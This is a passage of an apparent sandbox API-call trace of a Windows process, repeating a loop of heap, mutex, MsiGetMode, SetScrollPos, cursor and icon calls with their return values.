	[0095.387] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.387] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.387] GetCurrentProcessId () returned 0xb50
	[0095.387] GetLastError () returned 0x578
	[0095.387] GetLastError () returned 0x578
	[0095.387] GetLastError () returned 0x0
	[0095.387] ReleaseMutex (hMutex=0x360) returned 1
	[0095.387] CloseHandle (hObject=0x360) returned 1
	[0095.387] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=598727904, bRedraw=1) returned 0
	[0095.387] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.387] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.387] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.387] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.387] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.387] GetCurrentProcessId () returned 0xb50
	[0095.387] GetLastError () returned 0x578
	[0095.387] GetLastError () returned 0x578
	[0095.388] GetLastError () returned 0x0
	[0095.388] ReleaseMutex (hMutex=0x360) returned 1
	[0095.388] CloseHandle (hObject=0x360) returned 1
	[0095.388] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-63126130, bRedraw=1) returned 0
	[0095.388] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.388] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.388] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.388] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.388] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.388] GetCurrentProcessId () returned 0xb50
	[0095.388] GetLastError () returned 0x578
	[0095.388] GetLastError () returned 0x578
	[0095.388] GetLastError () returned 0x0
	[0095.388] ReleaseMutex (hMutex=0x360) returned 1
	[0095.388] CloseHandle (hObject=0x360) returned 1
	[0095.388] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-715350212, bRedraw=1) returned 0
	[0095.388] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.388] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.388] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.388] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.388] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.388] GetCurrentProcessId () returned 0xb50
	[0095.388] GetLastError () returned 0x578
	[0095.389] GetLastError () returned 0x578
	[0095.389] GetLastError () returned 0x0
	[0095.389] ReleaseMutex (hMutex=0x360) returned 1
	[0095.389] CloseHandle (hObject=0x360) returned 1
	[0095.389] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1357944342, bRedraw=1) returned 0
	[0095.389] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.389] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.389] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.389] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.389] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.389] GetCurrentProcessId () returned 0xb50
	[0095.389] GetLastError () returned 0x578
	[0095.389] GetLastError () returned 0x578
	[0095.389] GetLastError () returned 0x0
	[0095.389] ReleaseMutex (hMutex=0x360) returned 1
	[0095.389] CloseHandle (hObject=0x360) returned 1
	[0095.389] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1990908520, bRedraw=1) returned 0
	[0095.389] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.389] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.389] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.390] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.390] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.390] GetCurrentProcessId () returned 0xb50
	[0095.390] GetLastError () returned 0x578
	[0095.390] GetLastError () returned 0x578
	[0095.390] GetLastError () returned 0x0
	[0095.390] ReleaseMutex (hMutex=0x360) returned 1
	[0095.390] CloseHandle (hObject=0x360) returned 1
	[0095.390] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1680724550, bRedraw=1) returned 0
	[0095.390] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.390] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.390] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.390] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.390] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.390] GetCurrentProcessId () returned 0xb50
	[0095.390] GetLastError () returned 0x578
	[0095.390] GetLastError () returned 0x578
	[0095.390] GetLastError () returned 0x0
	[0095.390] ReleaseMutex (hMutex=0x360) returned 1
	[0095.390] CloseHandle (hObject=0x360) returned 1
	[0095.390] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1067020276, bRedraw=1) returned 0
	[0095.390] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.390] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.391] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.391] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.391] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.391] GetCurrentProcessId () returned 0xb50
	[0095.391] GetLastError () returned 0x578
	[0095.391] GetLastError () returned 0x578
	[0095.391] GetLastError () returned 0x0
	[0095.391] ReleaseMutex (hMutex=0x360) returned 1
	[0095.391] CloseHandle (hObject=0x360) returned 1
	[0095.391] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=462945954, bRedraw=1) returned 0
	[0095.391] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.391] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.391] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.391] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.391] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.391] GetCurrentProcessId () returned 0xb50
	[0095.391] GetLastError () returned 0x578
	[0095.391] GetLastError () returned 0x578
	[0095.391] GetLastError () returned 0x0
	[0095.391] ReleaseMutex (hMutex=0x360) returned 1
	[0095.391] CloseHandle (hObject=0x360) returned 1
	[0095.391] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-131498416, bRedraw=1) returned 0
	[0095.391] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.391] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.392] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.392] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.392] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.392] GetCurrentProcessId () returned 0xb50
	[0095.392] GetLastError () returned 0x578
	[0095.392] GetLastError () returned 0x578
	[0095.392] GetLastError () returned 0x0
	[0095.392] ReleaseMutex (hMutex=0x360) returned 1
	[0095.392] CloseHandle (hObject=0x360) returned 1
	[0095.392] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-716312834, bRedraw=1) returned 0
	[0095.392] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.392] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.392] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.392] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.392] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.392] GetCurrentProcessId () returned 0xb50
	[0095.392] GetLastError () returned 0x578
	[0095.392] GetLastError () returned 0x578
	[0095.392] GetLastError () returned 0x0
	[0095.392] ReleaseMutex (hMutex=0x360) returned 1
	[0095.392] CloseHandle (hObject=0x360) returned 1
	[0095.392] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1291497300, bRedraw=1) returned 0
	[0095.393] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.393] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.393] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.393] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.393] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.393] GetCurrentProcessId () returned 0xb50
	[0095.393] GetLastError () returned 0x578
	[0095.393] GetLastError () returned 0x578
	[0095.393] GetLastError () returned 0x0
	[0095.393] ReleaseMutex (hMutex=0x360) returned 1
	[0095.393] CloseHandle (hObject=0x360) returned 1
	[0095.393] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1857051814, bRedraw=1) returned 0
	[0095.393] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.393] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.393] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.393] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.393] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.393] GetCurrentProcessId () returned 0xb50
	[0095.393] GetLastError () returned 0x578
	[0095.393] GetLastError () returned 0x578
	[0095.393] GetLastError () returned 0x0
	[0095.393] ReleaseMutex (hMutex=0x360) returned 1
	[0095.393] CloseHandle (hObject=0x360) returned 1
	[0095.393] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1881990920, bRedraw=1) returned 0
	[0095.394] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.394] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.394] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.394] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.394] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.394] GetCurrentProcessId () returned 0xb50
	[0095.394] GetLastError () returned 0x578
	[0095.394] GetLastError () returned 0x578
	[0095.394] GetLastError () returned 0x0
	[0095.394] ReleaseMutex (hMutex=0x360) returned 1
	[0095.394] CloseHandle (hObject=0x360) returned 1
	[0095.394] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1335696310, bRedraw=1) returned 0
	[0095.394] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.394] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.394] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.394] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.394] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.394] GetCurrentProcessId () returned 0xb50
	[0095.394] GetLastError () returned 0x578
	[0095.394] GetLastError () returned 0x578
	[0095.394] GetLastError () returned 0x0
	[0095.394] ReleaseMutex (hMutex=0x360) returned 1
	[0095.394] CloseHandle (hObject=0x360) returned 1
	[0095.395] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=799031652, bRedraw=1) returned 0
	[0095.395] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.395] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.395] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.395] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.395] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.395] GetCurrentProcessId () returned 0xb50
	[0095.395] GetLastError () returned 0x578
	[0095.395] GetLastError () returned 0x578
	[0095.395] GetLastError () returned 0x0
	[0095.395] ReleaseMutex (hMutex=0x360) returned 1
	[0095.395] CloseHandle (hObject=0x360) returned 1
	[0095.395] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=271996946, bRedraw=1) returned 0
	[0095.395] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.395] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.395] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.395] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.395] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.395] GetCurrentProcessId () returned 0xb50
	[0095.395] GetLastError () returned 0x578
	[0095.395] GetLastError () returned 0x578
	[0095.395] GetLastError () returned 0x0
	[0095.395] ReleaseMutex (hMutex=0x360) returned 1
	[0095.396] CloseHandle (hObject=0x360) returned 1
	[0095.396] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-245407808, bRedraw=1) returned 0
	[0095.396] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.396] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.396] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.396] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.396] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.396] GetCurrentProcessId () returned 0xb50
	[0095.396] GetLastError () returned 0x578
	[0095.396] GetLastError () returned 0x578
	[0095.396] GetLastError () returned 0x0
	[0095.396] ReleaseMutex (hMutex=0x360) returned 1
	[0095.396] CloseHandle (hObject=0x360) returned 1
	[0095.396] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-753182610, bRedraw=1) returned 0
	[0095.396] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.396] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.396] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.396] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.396] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.396] GetCurrentProcessId () returned 0xb50
	[0095.396] GetLastError () returned 0x578
	[0095.396] GetLastError () returned 0x578
	[0095.397] GetLastError () returned 0x0
	[0095.397] ReleaseMutex (hMutex=0x360) returned 1
	[0095.397] CloseHandle (hObject=0x360) returned 1
	[0095.397] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1251327460, bRedraw=1) returned 0
	[0095.397] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.397] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.397] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.397] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.397] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.397] GetCurrentProcessId () returned 0xb50
	[0095.397] GetLastError () returned 0x578
	[0095.397] GetLastError () returned 0x578
	[0095.397] GetLastError () returned 0x0
	[0095.397] ReleaseMutex (hMutex=0x360) returned 1
	[0095.397] CloseHandle (hObject=0x360) returned 1
	[0095.397] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1739842358, bRedraw=1) returned 0
	[0095.397] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.397] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.397] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.397] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.397] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.397] GetCurrentProcessId () returned 0xb50
	[0095.397] GetLastError () returned 0x578
	[0095.397] GetLastError () returned 0x578
	[0095.398] GetLastError () returned 0x0
	[0095.398] ReleaseMutex (hMutex=0x360) returned 1
	[0095.398] CloseHandle (hObject=0x360) returned 1
	[0095.398] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2076239992, bRedraw=1) returned 0
	[0095.398] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.398] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.398] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.398] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.398] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.398] GetCurrentProcessId () returned 0xb50
	[0095.398] GetLastError () returned 0x578
	[0095.398] GetLastError () returned 0x578
	[0095.398] GetLastError () returned 0x0
	[0095.398] ReleaseMutex (hMutex=0x360) returned 1
	[0095.398] CloseHandle (hObject=0x360) returned 1
	[0095.398] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1606984998, bRedraw=1) returned 0
	[0095.398] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.398] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.398] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.398] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.398] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.398] GetCurrentProcessId () returned 0xb50
	[0095.398] GetLastError () returned 0x578
	[0095.399] GetLastError () returned 0x578
	[0095.399] GetLastError () returned 0x0
	[0095.399] ReleaseMutex (hMutex=0x360) returned 1
	[0095.399] CloseHandle (hObject=0x360) returned 1
	[0095.399] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1147359956, bRedraw=1) returned 0
	[0095.399] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.399] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.399] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.399] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.399] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.399] GetCurrentProcessId () returned 0xb50
	[0095.399] GetLastError () returned 0x578
	[0095.399] GetLastError () returned 0x578
	[0095.399] GetLastError () returned 0x0
	[0095.399] ReleaseMutex (hMutex=0x360) returned 1
	[0095.399] CloseHandle (hObject=0x360) returned 1
	[0095.399] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=697364866, bRedraw=1) returned 0
	[0095.399] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.399] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.399] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.399] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.399] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.399] GetCurrentProcessId () returned 0xb50
	[0095.400] GetLastError () returned 0x578
	[0095.400] GetLastError () returned 0x578
	[0095.400] GetLastError () returned 0x0
	[0095.400] ReleaseMutex (hMutex=0x360) returned 1
	[0095.400] CloseHandle (hObject=0x360) returned 1
	[0095.400] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=256999728, bRedraw=1) returned 0
	[0095.400] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.400] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.400] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.400] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.400] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.400] GetCurrentProcessId () returned 0xb50
	[0095.400] GetLastError () returned 0x578
	[0095.400] GetLastError () returned 0x578
	[0095.400] GetLastError () returned 0x0
	[0095.400] ReleaseMutex (hMutex=0x360) returned 1
	[0095.400] CloseHandle (hObject=0x360) returned 1
	[0095.400] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-173735458, bRedraw=1) returned 0
	[0095.400] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.400] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.400] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.401] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.401] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.401] GetCurrentProcessId () returned 0xb50
	[0095.401] GetLastError () returned 0x578
	[0095.401] GetLastError () returned 0x578
	[0095.401] GetLastError () returned 0x0
	[0095.401] ReleaseMutex (hMutex=0x360) returned 1
	[0095.401] CloseHandle (hObject=0x360) returned 1
	[0095.401] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-594840692, bRedraw=1) returned 0
	[0095.401] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.401] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.401] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.401] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.401] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.401] GetCurrentProcessId () returned 0xb50
	[0095.401] GetLastError () returned 0x578
	[0095.401] GetLastError () returned 0x578
	[0095.401] GetLastError () returned 0x0
	[0095.401] ReleaseMutex (hMutex=0x360) returned 1
	[0095.401] CloseHandle (hObject=0x360) returned 1
	[0095.401] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1006315974, bRedraw=1) returned 0
	[0095.401] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.401] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.402] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.402] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.402] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.402] GetCurrentProcessId () returned 0xb50
	[0095.402] GetLastError () returned 0x578
	[0095.402] GetLastError () returned 0x578
	[0095.402] GetLastError () returned 0x0
	[0095.402] ReleaseMutex (hMutex=0x360) returned 1
	[0095.402] CloseHandle (hObject=0x360) returned 1
	[0095.402] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1408161304, bRedraw=1) returned 0
	[0095.402] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.402] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.402] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.402] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.402] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.402] GetCurrentProcessId () returned 0xb50
	[0095.402] GetLastError () returned 0x578
	[0095.402] GetLastError () returned 0x578
	[0095.403] GetLastError () returned 0x0
	[0095.403] ReleaseMutex (hMutex=0x360) returned 1
	[0095.403] CloseHandle (hObject=0x360) returned 1
	[0095.403] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1800376682, bRedraw=1) returned 0
	[0095.403] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.403] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.403] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.403] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.403] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.403] GetCurrentProcessId () returned 0xb50
	[0095.403] GetLastError () returned 0x578
	[0095.403] GetLastError () returned 0x578
	[0095.403] GetLastError () returned 0x0
	[0095.403] ReleaseMutex (hMutex=0x360) returned 1
	[0095.403] CloseHandle (hObject=0x360) returned 1
	[0095.403] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2112005188, bRedraw=1) returned 0
	[0095.403] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.403] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.403] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.403] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.403] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.403] GetCurrentProcessId () returned 0xb50
	[0095.403] GetLastError () returned 0x578
	[0095.404] GetLastError () returned 0x578
	[0095.404] GetLastError () returned 0x0
	[0095.404] ReleaseMutex (hMutex=0x360) returned 1
	[0095.404] CloseHandle (hObject=0x360) returned 1
	[0095.404] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1739049714, bRedraw=1) returned 0
	[0095.404] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.404] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.404] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.404] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.404] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.404] GetCurrentProcessId () returned 0xb50
	[0095.404] GetLastError () returned 0x578
	[0095.404] GetLastError () returned 0x578
	[0095.404] GetLastError () returned 0x0
	[0095.404] ReleaseMutex (hMutex=0x360) returned 1
	[0095.404] CloseHandle (hObject=0x360) returned 1
	[0095.404] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1375724192, bRedraw=1) returned 0
	[0095.404] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.404] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.404] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.405] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
